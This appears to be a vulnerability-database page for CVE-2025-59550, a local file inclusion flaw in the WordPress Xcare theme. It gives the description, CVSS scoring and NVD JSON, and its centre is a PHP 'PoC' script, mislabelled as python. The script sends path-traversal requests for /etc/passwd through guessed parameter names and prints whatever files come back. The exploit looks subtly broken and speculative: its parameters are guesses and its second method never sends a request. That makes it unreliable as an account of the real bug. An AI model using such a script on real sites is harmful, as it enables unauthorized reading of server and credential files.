Security Vulnerability Report
中文
CVE-2025-59550 CVSS 8.1 HIGH

CVE-2025-59550

Published: 2025-10-22 15:15:54
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Xcare xcare allows PHP Local File Inclusion.This issue affects Xcare: from n/a through < 6.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Xcare < 6.5 (所有6.5之前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-59550 PoC - Xcare Theme Local File Inclusion * Target: WordPress Xcare Theme < 6.5 * Vulnerability: LFI via unsafe file inclusion * Usage: php poc.php <target_url> */ $target = $argv[1] ?? 'http://target-site.com'; $file_to_read = $argv[2] ?? '/etc/passwd'; // Common vulnerable parameters in Xcare theme $vulnerable_params = [ 'template', 'page_template', 'file', 'include', 'theme', 'view', 'load' ]; echo "[*] CVE-2025-59550 PoC - Xcare Theme LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] File to read: {$file_to_read}\n\n"; // Method 1: Direct LFI attempt foreach ($vulnerable_params as $param) { $url = $target . "/?{$param}=../../../../..{$file_to_read}%00"; echo "[Testing] {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'root:') !== false) { echo "[!] VULNERABLE! File content:\n"; echo $response; break; } } // Method 2: WordPress specific path traversal $wp_paths = [ '/wp-content/themes/xcare/template-parts/' . $file_to_read, '/wp-content/themes/xcare/inc/' . $file_to_read, '/wp-content/plugins/' . $file_to_read ]; echo "\n[*] Testing WordPress specific paths...\n"; foreach ($wp_paths as $path) { $url = $target . "/?file=" . urlencode($path); echo "[Testing] {$url}\n"; } echo "\n[*] Scan complete. Check responses above for sensitive data.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59550", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:53.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Xcare xcare allows PHP Local File Inclusion.This issue affects Xcare: from n/a through < 6.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/xcare/vulnerability/wordpress-xcare-theme-6-5-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}